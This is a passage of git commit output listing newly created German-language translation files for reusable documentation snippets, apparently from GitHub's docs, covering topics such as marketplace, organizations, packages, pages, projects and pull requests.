 create mode 100644 translations/de-DE/data/reusables/interactions/contributor-user-limit-definition.md
 create mode 100644 translations/de-DE/data/reusables/interactions/existing-user-limit-definition.md
 create mode 100644 translations/de-DE/data/reusables/interactions/interactions-detail.md
 create mode 100644 translations/de-DE/data/reusables/issue-events/assignee-properties.md
 create mode 100644 translations/de-DE/data/reusables/issue-events/issue-event-common-properties.md
 create mode 100644 translations/de-DE/data/reusables/issue-events/label-properties.md
 create mode 100644 translations/de-DE/data/reusables/issue-events/project-card-properties.md
 create mode 100644 translations/de-DE/data/reusables/issue-events/review-dismissed-properties.md
 create mode 100644 translations/de-DE/data/reusables/issue-events/review-request-properties.md
 create mode 100644 translations/de-DE/data/reusables/issue-events/timeline_events_object_properties.md
 create mode 100644 translations/de-DE/data/reusables/large_files/can-include-lfs-objects-archives.md
 create mode 100644 translations/de-DE/data/reusables/large_files/does_not_carry.md
 create mode 100644 translations/de-DE/data/reusables/large_files/downgrade_data_packs.md
 create mode 100644 translations/de-DE/data/reusables/large_files/free-storage-bandwidth-amount.md
 create mode 100644 translations/de-DE/data/reusables/large_files/owner_quota_only.md
 create mode 100644 translations/de-DE/data/reusables/large_files/pack_confirm.md
 create mode 100644 translations/de-DE/data/reusables/large_files/pack_selection.md
 create mode 100644 translations/de-DE/data/reusables/large_files/rejected_pushes.md
 create mode 100644 translations/de-DE/data/reusables/large_files/resolving-upload-failures.md
 create mode 100644 translations/de-DE/data/reusables/large_files/storage_assets_location.md
 create mode 100644 translations/de-DE/data/reusables/large_files/use_lfs_tip.md
 create mode 100644 translations/de-DE/data/reusables/linux/ensure-docker.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/add-payment-method-org.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/add-payment-method-personal.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/app-transfer-to-org-for-verification.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/browse-to-app.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/cancel-app-billing-settings.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/cancel-app.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/cancel-free-trial-billing-settings.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/cancellation-clarification.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/choose-new-plan.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/choose-new-quantity.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/choose-plan.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/complete-order-begin-installation.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/confirm-install-account-org.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/confirm-install-account-personal.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/downgrade-app-billing-settings.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/downgrade-marketplace-only.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/free-apps-encouraged.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/free-plan-note.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/free-trials.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/github_apps_preferred.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/install-buy.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/issue-plan-changes.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/launch-with-free.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/marketplace-apps-only.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/marketplace-billing-ui-requirements.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/marketplace-double-purchases.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/marketplace-failed-purchase-event.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/marketplace-malicious-behavior.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/marketplace-org-perms.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/marketplace-pricing-free-trials.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/review-app-perms-install.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/select-installation-repos.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/unverified-apps.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/upgrade-app-billing-settings.md
 create mode 100644 translations/de-DE/data/reusables/marketplace/visit-marketplace.md
 create mode 100644 translations/de-DE/data/reusables/mobile/about-mobile.md
 create mode 100644 translations/de-DE/data/reusables/mobile/push-notifications-on-ghes.md
 create mode 100644 translations/de-DE/data/reusables/notifications-v2/custom-notification-types.md
 create mode 100644 translations/de-DE/data/reusables/notifications-v2/email-notification-caveats.md
 create mode 100644 translations/de-DE/data/reusables/notifications-v2/manage-notifications.md
 create mode 100644 translations/de-DE/data/reusables/notifications-v2/notifications-inbox-required-setting.md
 create mode 100644 translations/de-DE/data/reusables/notifications/access_notifications.md
 create mode 100644 translations/de-DE/data/reusables/notifications/access_watching.md
 create mode 100644 translations/de-DE/data/reusables/notifications/auto-watch.md
 create mode 100644 translations/de-DE/data/reusables/notifications/email-restrictions-verification.md
 create mode 100644 translations/de-DE/data/reusables/notifications/outbound_email_tip.md
 create mode 100644 translations/de-DE/data/reusables/notifications/saved_for_late_sidebar.md
 create mode 100644 translations/de-DE/data/reusables/notifications/shared_state.md
 create mode 100644 translations/de-DE/data/reusables/notifications/vulnerable-dependency-notification-delivery-method-customization.md
 create mode 100644 translations/de-DE/data/reusables/notifications/vulnerable-dependency-notification-delivery-method-customization2.md
 create mode 100644 translations/de-DE/data/reusables/notifications/vulnerable-dependency-notification-enable.md
 create mode 100644 translations/de-DE/data/reusables/notifications/vulnerable-dependency-notification-options.md
 create mode 100644 translations/de-DE/data/reusables/open-source/open-source-guide-general.md
 create mode 100644 translations/de-DE/data/reusables/open-source/open-source-guide-repositories.md
 create mode 100644 translations/de-DE/data/reusables/open-source/open-source-learning.md
 create mode 100644 translations/de-DE/data/reusables/organizations/about-custom-repo-roles.md
 create mode 100644 translations/de-DE/data/reusables/organizations/about-following-organizations.md
 create mode 100644 translations/de-DE/data/reusables/organizations/about-organizations.md
 create mode 100644 translations/de-DE/data/reusables/organizations/about-roles.md
 create mode 100644 translations/de-DE/data/reusables/organizations/about-security-managers.md
 create mode 100644 translations/de-DE/data/reusables/organizations/add-a-domain.md
 create mode 100644 translations/de-DE/data/reusables/organizations/add-dns-txt-record.md
 create mode 100644 translations/de-DE/data/reusables/organizations/add-domain.md
 create mode 100644 translations/de-DE/data/reusables/organizations/add-extension-to-cert.md
 create mode 100644 translations/de-DE/data/reusables/organizations/add-user-to-teams.md
 create mode 100644 translations/de-DE/data/reusables/organizations/app-managers-settings-sidebar.md
 create mode 100644 translations/de-DE/data/reusables/organizations/billing-settings.md
 create mode 100644 translations/de-DE/data/reusables/organizations/billing_plans.md
 create mode 100644 translations/de-DE/data/reusables/organizations/block_users.md
 create mode 100644 translations/de-DE/data/reusables/organizations/blocking-a-user.md
 create mode 100644 translations/de-DE/data/reusables/organizations/can-require-ssh-cert.md
 create mode 100644 translations/de-DE/data/reusables/organizations/cancel_org_invite.md
 create mode 100644 translations/de-DE/data/reusables/organizations/child-team-inherits-permissions.md
 create mode 100644 translations/de-DE/data/reusables/organizations/choose-to-restore-privileges.md
 create mode 100644 translations/de-DE/data/reusables/organizations/choose-user-license.md
 create mode 100644 translations/de-DE/data/reusables/organizations/choose-user-role-send-invitation.md
 create mode 100644 translations/de-DE/data/reusables/organizations/choose-user-role.md
 create mode 100644 translations/de-DE/data/reusables/organizations/click-codespaces.md
 create mode 100644 translations/de-DE/data/reusables/organizations/continue-verifying-domain.md
 create mode 100644 translations/de-DE/data/reusables/organizations/convert-owners-team-confirm.md
 create mode 100644 translations/de-DE/data/reusables/organizations/create-team-choose-parent.md
 create mode 100644 translations/de-DE/data/reusables/organizations/create_team.md
 create mode 100644 translations/de-DE/data/reusables/organizations/custom-repo-roles-ghec-only.md
 create mode 100644 translations/de-DE/data/reusables/organizations/data_saved_for_reinstating_a_former_org_member.md
 create mode 100644 translations/de-DE/data/reusables/organizations/delete-ssh-ca.md
 create mode 100644 translations/de-DE/data/reusables/organizations/deleted-repos.md
 create mode 100644 translations/de-DE/data/reusables/organizations/disable_project_board_results.md
 create mode 100644 translations/de-DE/data/reusables/organizations/domains-approve-domain.md
 create mode 100644 translations/de-DE/data/reusables/organizations/domains-approve-it-instead.md
 create mode 100644 translations/de-DE/data/reusables/organizations/filter-security-overview.md
 create mode 100644 translations/de-DE/data/reusables/organizations/follow-organizations-beta.md
 create mode 100644 translations/de-DE/data/reusables/organizations/github-apps-settings-sidebar.md
 create mode 100644 translations/de-DE/data/reusables/organizations/invite-teams-or-people.md
 create mode 100644 translations/de-DE/data/reusables/organizations/invite_member_from_people_tab.md
 create mode 100644 translations/de-DE/data/reusables/organizations/invite_to_org.md
 create mode 100644 translations/de-DE/data/reusables/organizations/invite_to_team.md
 create mode 100644 translations/de-DE/data/reusables/organizations/member-privileges.md
 create mode 100644 translations/de-DE/data/reusables/organizations/mixed-roles-warning.md
 create mode 100644 translations/de-DE/data/reusables/organizations/navigate-to-org.md
 create mode 100644 translations/de-DE/data/reusables/organizations/new-org-permissions-more-info.md
 create mode 100644 translations/de-DE/data/reusables/organizations/new-organization.md
 create mode 100644 translations/de-DE/data/reusables/organizations/new-repo-permissions-more-info.md
 create mode 100644 translations/de-DE/data/reusables/organizations/new-ssh-ca.md
 create mode 100644 translations/de-DE/data/reusables/organizations/new_team.md
 create mode 100644 translations/de-DE/data/reusables/organizations/oauth_app_access.md
 create mode 100644 translations/de-DE/data/reusables/organizations/oauth_app_restrictions_default.md
 create mode 100644 translations/de-DE/data/reusables/organizations/org-invite-expiration.md
 create mode 100644 translations/de-DE/data/reusables/organizations/org-invite-scim.md
 create mode 100644 translations/de-DE/data/reusables/organizations/org-list.md
 create mode 100644 translations/de-DE/data/reusables/organizations/org-ownership-recommendation.md
 create mode 100644 translations/de-DE/data/reusables/organizations/org-settings-repository-roles.md
 create mode 100644 translations/de-DE/data/reusables/organizations/org_settings.md
 create mode 100644 translations/de-DE/data/reusables/organizations/organization-name.md
 create mode 100644 translations/de-DE/data/reusables/organizations/organization-plans.md
 create mode 100644 translations/de-DE/data/reusables/organizations/organization-wide-project.md
 create mode 100644 translations/de-DE/data/reusables/organizations/outside-collaborators-use-seats.md
 create mode 100644 translations/de-DE/data/reusables/organizations/outside_collaborator_forks.md
 create mode 100644 translations/de-DE/data/reusables/organizations/outside_collaborators_description.md
 create mode 100644 translations/de-DE/data/reusables/organizations/owners-and-admins-can.md
 create mode 100644 translations/de-DE/data/reusables/organizations/owners-team.md
 create mode 100644 translations/de-DE/data/reusables/organizations/people-export.md
 create mode 100644 translations/de-DE/data/reusables/organizations/people.md
 create mode 100644 translations/de-DE/data/reusables/organizations/people_tab_outside_collaborators.md
 create mode 100644 translations/de-DE/data/reusables/organizations/reinstate-user-type-username.md
 create mode 100644 translations/de-DE/data/reusables/organizations/removed_outside_collaborators.md
 create mode 100644 translations/de-DE/data/reusables/organizations/repo-creation-constants.md
 create mode 100644 translations/de-DE/data/reusables/organizations/repository-defaults.md
 create mode 100644 translations/de-DE/data/reusables/organizations/repository-labels.md
 create mode 100644 translations/de-DE/data/reusables/organizations/require-ssh-cert.md
 create mode 100644 translations/de-DE/data/reusables/organizations/require_two_factor_authentication.md
 create mode 100644 translations/de-DE/data/reusables/organizations/reseller-ask-to-become-billing-manager.md
 create mode 100644 translations/de-DE/data/reusables/organizations/restrict-email-notifications.md
 create mode 100644 translations/de-DE/data/reusables/organizations/restricted-app-access-requests.md
 create mode 100644 translations/de-DE/data/reusables/organizations/review-team-repository-access.md
 create mode 100644 translations/de-DE/data/reusables/organizations/security-and-analysis.md
 create mode 100644 translations/de-DE/data/reusables/organizations/security-manager-beta-note.md
 create mode 100644 translations/de-DE/data/reusables/organizations/security-overview-feature-specific-page.md
 create mode 100644 translations/de-DE/data/reusables/organizations/security-overview.md
 create mode 100644 translations/de-DE/data/reusables/organizations/security.md
 create mode 100644 translations/de-DE/data/reusables/organizations/send-invitation.md
 create mode 100644 translations/de-DE/data/reusables/organizations/settings-sidebar-actions-general.md
 create mode 100644 translations/de-DE/data/reusables/organizations/settings-sidebar-actions-runner-groups.md
 create mode 100644 translations/de-DE/data/reusables/organizations/settings-sidebar-actions-runners.md
 create mode 100644 translations/de-DE/data/reusables/organizations/specific_team.md
 create mode 100644 translations/de-DE/data/reusables/organizations/ssh-ca-ghec-only.md
 create mode 100644 translations/de-DE/data/reusables/organizations/team-api.md
 create mode 100644 translations/de-DE/data/reusables/organizations/team-discussions-are-for-orgs.md
 create mode 100644 translations/de-DE/data/reusables/organizations/team-discussions-default.md
 create mode 100644 translations/de-DE/data/reusables/organizations/team-discussions-permissions.md
 create mode 100644 translations/de-DE/data/reusables/organizations/team-discussions-purpose.md
 create mode 100644 translations/de-DE/data/reusables/organizations/team-discussions-tab.md
 create mode 100644 translations/de-DE/data/reusables/organizations/team-repositories-tab.md
 create mode 100644 translations/de-DE/data/reusables/organizations/team-security-overview.md
 create mode 100644 translations/de-DE/data/reusables/organizations/team-synchronization.md
 create mode 100644 translations/de-DE/data/reusables/organizations/team_description.md
 create mode 100644 translations/de-DE/data/reusables/organizations/team_maintainers_can.md
 create mode 100644 translations/de-DE/data/reusables/organizations/team_members_tab.md
 create mode 100644 translations/de-DE/data/reusables/organizations/team_name.md
 create mode 100644 translations/de-DE/data/reusables/organizations/team_settings.md
 create mode 100644 translations/de-DE/data/reusables/organizations/team_visibility.md
 create mode 100644 translations/de-DE/data/reusables/organizations/teams.md
 create mode 100644 translations/de-DE/data/reusables/organizations/teams_sidebar.md
 create mode 100644 translations/de-DE/data/reusables/organizations/types-of-team-visibility.md
 create mode 100644 translations/de-DE/data/reusables/organizations/user_must_accept_invite_email.md
 create mode 100644 translations/de-DE/data/reusables/organizations/verified-domains-details.md
 create mode 100644 translations/de-DE/data/reusables/organizations/verified-domains.md
 create mode 100644 translations/de-DE/data/reusables/organizations/watch-team-options.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/about-docker-labels.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/about-packaging-and-actions.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/actions-configuration.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/add-npmrc-to-repo-step.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/admins-can-configure-package-types.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/apache-maven-snapshot-versions-supported.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/authenticate-packages-github-token.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/authenticate-packages.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/authenticate-step.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/authenticate-to-container-registry-steps.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/authenticate_with_pat_for_v2_registry.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/checksum-maven-plugin.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/container-registry-benefits.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/container-registry-example-hostname.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/container-registry-ghes-beta.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/container-registry-ghes-migration-availability.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/container-registry-hostname.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/container-registry-migration-namespaces.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/container-registry-replaces-docker-registry.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/create-npmrc-owner-step.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/default-name.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/docker_registry_deprecation_status.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/enable-enterprise-github-packages.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/navigate-to-packages.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/next-steps-for-packages-enterprise-setup.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/no-graphql-to-delete-packages.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/package-page-info.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/package-registry-with-github-tokens.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/package-settings-from-org-level.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/package-settings-from-user-level.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/package-settings-option.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/packages-billing.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/packages-classic-pat-only.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/packages-cluster-support.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/packages-from-code-tab.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/packages-ghae-release-stage.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/packages-spending-limit-brief.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/packages-spending-limit-detailed.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/public-or-private-packages.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/publish_package.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/repository_connection_steps.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/required-scopes.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/verify_repository_field.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/viewing-packages.md
 create mode 100644 translations/de-DE/data/reusables/package_registry/visibility-and-access-permissions.md
 create mode 100644 translations/de-DE/data/reusables/pages/about-front-matter.md
 create mode 100644 translations/de-DE/data/reusables/pages/about-private-publishing.md
 create mode 100644 translations/de-DE/data/reusables/pages/add-jekyll-theme.md
 create mode 100644 translations/de-DE/data/reusables/pages/admin-must-push.md
 create mode 100644 translations/de-DE/data/reusables/pages/best-with-supported-themes.md
 create mode 100644 translations/de-DE/data/reusables/pages/build-failure-email-server.md
 create mode 100644 translations/de-DE/data/reusables/pages/build-locally-download-cname.md
 create mode 100644 translations/de-DE/data/reusables/pages/check-workflow-run.md
 create mode 100644 translations/de-DE/data/reusables/pages/choose-visibility.md
 create mode 100644 translations/de-DE/data/reusables/pages/configure-publishing-source.md
 create mode 100644 translations/de-DE/data/reusables/pages/contact-dns-provider.md
 create mode 100644 translations/de-DE/data/reusables/pages/create-repo-name.md
 create mode 100644 translations/de-DE/data/reusables/pages/decide-publishing-source.md
 create mode 100644 translations/de-DE/data/reusables/pages/default-domain-information.md
 create mode 100644 translations/de-DE/data/reusables/pages/emu-org-only.md
 create mode 100644 translations/de-DE/data/reusables/pages/enforce-https-custom-domain.md
 create mode 100644 translations/de-DE/data/reusables/pages/jekyll-install-troubleshooting.md
 create mode 100644 translations/de-DE/data/reusables/pages/must-have-repo-first.md
 create mode 100644 translations/de-DE/data/reusables/pages/navigate-publishing-source.md
 create mode 100644 translations/de-DE/data/reusables/pages/navigate-site-repo.md
 create mode 100644 translations/de-DE/data/reusables/pages/new-or-existing-repo.md
 create mode 100644 translations/de-DE/data/reusables/pages/no_sensitive_data_pages.md
 create mode 100644 translations/de-DE/data/reusables/pages/org-owners-can-restrict-pages-creation.md
 create mode 100644 translations/de-DE/data/reusables/pages/pages-about-branch-source.md
 create mode 100644 translations/de-DE/data/reusables/pages/pages-about-publishing-source.md
 create mode 100644 translations/de-DE/data/reusables/pages/pages-custom-workflow-beta.md
 create mode 100644 translations/de-DE/data/reusables/pages/private_pages_are_public_warning.md
 create mode 100644 translations/de-DE/data/reusables/pages/privately-publish-ghec-only.md
 create mode 100644 translations/de-DE/data/reusables/pages/recommend-bundler.md
 create mode 100644 translations/de-DE/data/reusables/pages/remove-submodule.md
 create mode 100644 translations/de-DE/data/reusables/pages/search-for-includes.md
 create mode 100644 translations/de-DE/data/reusables/pages/secure-your-domain.md
 create mode 100644 translations/de-DE/data/reusables/pages/settings-verify-domain-confirm.md
 create mode 100644 translations/de-DE/data/reusables/pages/settings-verify-domain-setup.md
 create mode 100644 translations/de-DE/data/reusables/pages/sidebar-pages.md
 create mode 100644 translations/de-DE/data/reusables/pages/test-locally.md
 create mode 100644 translations/de-DE/data/reusables/pages/theme-customization-help.md
 create mode 100644 translations/de-DE/data/reusables/pages/twenty-minutes-to-publish.md
 create mode 100644 translations/de-DE/data/reusables/pages/update_your_dns_settings.md
 create mode 100644 translations/de-DE/data/reusables/pages/visit-site.md
 create mode 100644 translations/de-DE/data/reusables/pages/wildcard-dns-warning.md
 create mode 100644 translations/de-DE/data/reusables/pages/www-and-apex-domain-recommendation.md
 create mode 100644 translations/de-DE/data/reusables/pages/yaml-linter.md
 create mode 100644 translations/de-DE/data/reusables/pages/yaml-rules.md
 create mode 100644 translations/de-DE/data/reusables/policies/abuse.md
 create mode 100644 translations/de-DE/data/reusables/policies/github-community-guidelines-and-terms.md
 create mode 100644 translations/de-DE/data/reusables/policies/translation.md
 create mode 100644 translations/de-DE/data/reusables/pre-release-program/api-preview-warning.md
 create mode 100644 translations/de-DE/data/reusables/pre-release-program/content-attachments-public-beta.md
 create mode 100644 translations/de-DE/data/reusables/pre-release-program/corsair-preview.md
 create mode 100644 translations/de-DE/data/reusables/pre-release-program/expiring-user-access-tokens.md
 create mode 100644 translations/de-DE/data/reusables/pre-release-program/starfox-preview.md
 create mode 100644 translations/de-DE/data/reusables/products/product-roadmap.md
 create mode 100644 translations/de-DE/data/reusables/products/which-product-to-use.md
 create mode 100644 translations/de-DE/data/reusables/profile/access_org.md
 create mode 100644 translations/de-DE/data/reusables/profile/access_profile.md
 create mode 100644 translations/de-DE/data/reusables/profile/activity-overview-summary.md
 create mode 100644 translations/de-DE/data/reusables/profile/enterprise_access_profile.md
 create mode 100644 translations/de-DE/data/reusables/profile/navigating-to-profile.md
 create mode 100644 translations/de-DE/data/reusables/profile/org_member_privileges.md
 create mode 100644 translations/de-DE/data/reusables/profile/org_settings.md
 create mode 100644 translations/de-DE/data/reusables/profile/profile-readme.md
 create mode 100644 translations/de-DE/data/reusables/profile/user_profile_page_block_or_report.md
 create mode 100644 translations/de-DE/data/reusables/profile/user_profile_page_navigation.md
 create mode 100644 translations/de-DE/data/reusables/project-management/access-collaboration-settings.md
 create mode 100644 translations/de-DE/data/reusables/project-management/add-collaborator.md
 create mode 100644 translations/de-DE/data/reusables/project-management/add-column-new-project.md
 create mode 100644 translations/de-DE/data/reusables/project-management/add-more-columns.md
 create mode 100644 translations/de-DE/data/reusables/project-management/automate-project-board-permissions.md
 create mode 100644 translations/de-DE/data/reusables/project-management/cascading-permissions.md
 create mode 100644 translations/de-DE/data/reusables/project-management/choose-template.md
 create mode 100644 translations/de-DE/data/reusables/project-management/choose-visibility.md
 create mode 100644 translations/de-DE/data/reusables/project-management/click-create-column.md
 create mode 100644 translations/de-DE/data/reusables/project-management/click-edit-sidebar-menu-project-board.md
 create mode 100644 translations/de-DE/data/reusables/project-management/click-menu.md
 create mode 100644 translations/de-DE/data/reusables/project-management/click-new-project.md
 create mode 100644 translations/de-DE/data/reusables/project-management/collaborator-option.md
 create mode 100644 translations/de-DE/data/reusables/project-management/collaborator-permissions.md
 create mode 100644 translations/de-DE/data/reusables/project-management/confirm-label-deletion.md
 create mode 100644 translations/de-DE/data/reusables/project-management/copy-project-boards.md
 create mode 100644 translations/de-DE/data/reusables/project-management/create-label.md
 create mode 100644 translations/de-DE/data/reusables/project-management/create-project-button.md
 create mode 100644 translations/de-DE/data/reusables/project-management/create-project-name-description.md
 create mode 100644 translations/de-DE/data/reusables/project-management/delete-label.md
 create mode 100644 translations/de-DE/data/reusables/project-management/edit-in-project.md
 create mode 100644 translations/de-DE/data/reusables/project-management/edit-label.md
 create mode 100644 translations/de-DE/data/reusables/project-management/edit-project-columns.md
 create mode 100644 translations/de-DE/data/reusables/project-management/for-more-info-project-keyboard-shortcuts.md
 create mode 100644 translations/de-DE/data/reusables/project-management/label-color-randomizer.md
 create mode 100644 translations/de-DE/data/reusables/project-management/label-description.md
 create mode 100644 translations/de-DE/data/reusables/project-management/labels.md
 create mode 100644 translations/de-DE/data/reusables/project-management/link-repos-to-project-board.md
 create mode 100644 translations/de-DE/data/reusables/project-management/linked-repositories.md
 create mode 100644 translations/de-DE/data/reusables/project-management/milestones.md
 create mode 100644 translations/de-DE/data/reusables/project-management/name-label.md
 create mode 100644 translations/de-DE/data/reusables/project-management/name-project-board-column.md
 create mode 100644 translations/de-DE/data/reusables/project-management/project-board-import-with-api.md
 create mode 100644 translations/de-DE/data/reusables/project-management/project-board-permissions.md
 create mode 100644 translations/de-DE/data/reusables/project-management/project-board-visibility.md
 create mode 100644 translations/de-DE/data/reusables/project-management/project-note-more-options.md
 create mode 100644 translations/de-DE/data/reusables/project-management/project-progress-locations.md
 create mode 100644 translations/de-DE/data/reusables/project-management/remove-collaborator.md
 create mode 100644 translations/de-DE/data/reusables/project-management/resync-automation.md
 create mode 100644 translations/de-DE/data/reusables/project-management/save-label.md
 create mode 100644 translations/de-DE/data/reusables/project-management/select-automation-options-new-column.md
 create mode 100644 translations/de-DE/data/reusables/project-management/select-column-preset.md
 create mode 100644 translations/de-DE/data/reusables/project-management/select-project.md
 create mode 100644 translations/de-DE/data/reusables/project-management/use-automated-template.md
 create mode 100644 translations/de-DE/data/reusables/projects/about-workflows.md
 create mode 100644 translations/de-DE/data/reusables/projects/access-insights.md
 create mode 100644 translations/de-DE/data/reusables/projects/access-workflows.md
 create mode 100644 translations/de-DE/data/reusables/projects/add-draft-issue.md
 create mode 100644 translations/de-DE/data/reusables/projects/add-item-bottom-row.md
 create mode 100644 translations/de-DE/data/reusables/projects/add-item-via-paste.md
 create mode 100644 translations/de-DE/data/reusables/projects/bulk-add.md
 create mode 100644 translations/de-DE/data/reusables/projects/classic-project-creation.md
 create mode 100644 translations/de-DE/data/reusables/projects/create-project.md
 create mode 100644 translations/de-DE/data/reusables/projects/create-user-project.md
 create mode 100644 translations/de-DE/data/reusables/projects/disabled-projects.md
 create mode 100644 translations/de-DE/data/reusables/projects/enable-basic-workflow.md
 create mode 100644 translations/de-DE/data/reusables/projects/enable-migration.md
 create mode 100644 translations/de-DE/data/reusables/projects/graphql-deprecation.md
 create mode 100644 translations/de-DE/data/reusables/projects/graphql-ghes.md
 create mode 100644 translations/de-DE/data/reusables/projects/insights-alpha.md
 create mode 100644 translations/de-DE/data/reusables/projects/migrate-project-steps.md
 create mode 100644 translations/de-DE/data/reusables/projects/new-field.md
 create mode 100644 translations/de-DE/data/reusables/projects/new-view.md
 create mode 100644 translations/de-DE/data/reusables/projects/open-command-palette.md
 create mode 100644 translations/de-DE/data/reusables/projects/open-item-menu.md
 create mode 100644 translations/de-DE/data/reusables/projects/open-view-menu.md
 create mode 100644 translations/de-DE/data/reusables/projects/owners-can-limit-visibility-permissions.md
 create mode 100644 translations/de-DE/data/reusables/projects/project-description.md
 create mode 100644 translations/de-DE/data/reusables/projects/project-settings.md
 create mode 100644 translations/de-DE/data/reusables/projects/project_boards_old.md
 create mode 100644 translations/de-DE/data/reusables/projects/projects-api.md
 create mode 100644 translations/de-DE/data/reusables/projects/projects-beta.md
 create mode 100644 translations/de-DE/data/reusables/projects/projects-filters.md
 create mode 100644 translations/de-DE/data/reusables/projects/reopen-a-project.md
 create mode 100644 translations/de-DE/data/reusables/projects/save-view.md
 create mode 100644 translations/de-DE/data/reusables/projects/select-an-item.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/auto-merge-requires-branch-protection.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/automatically-delete-branches.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/close-issues-using-keywords.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/code-review-limits.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/collect-co-author-commit-git-config-info.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/configure_pull_request_merges_intro.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/decide-how-to-resolve-competing-line-change-merge-conflict.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/default-commit-message-squash-merge.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/default_merge_option.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/dismiss_review.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/issues-media-types.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/issues-pr-shared-api.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/large-search-workaround.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/mark-ready-review.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/merge-queue-beta.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/merge-queue-merging-method.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/merge-queue-overview.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/merge-queue-references.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/merge-queue-reject.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/perms-to-open-pull-request.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/pull_request_merges_and_contributions.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/re-request-review.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/rebase_and_merge_summary.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/rebase_and_merge_verification.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/required-checks-must-pass-to-merge.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/required-reviews-for-prs-summary.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/resolving-conversations.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/retargeted-on-branch-deletion.md
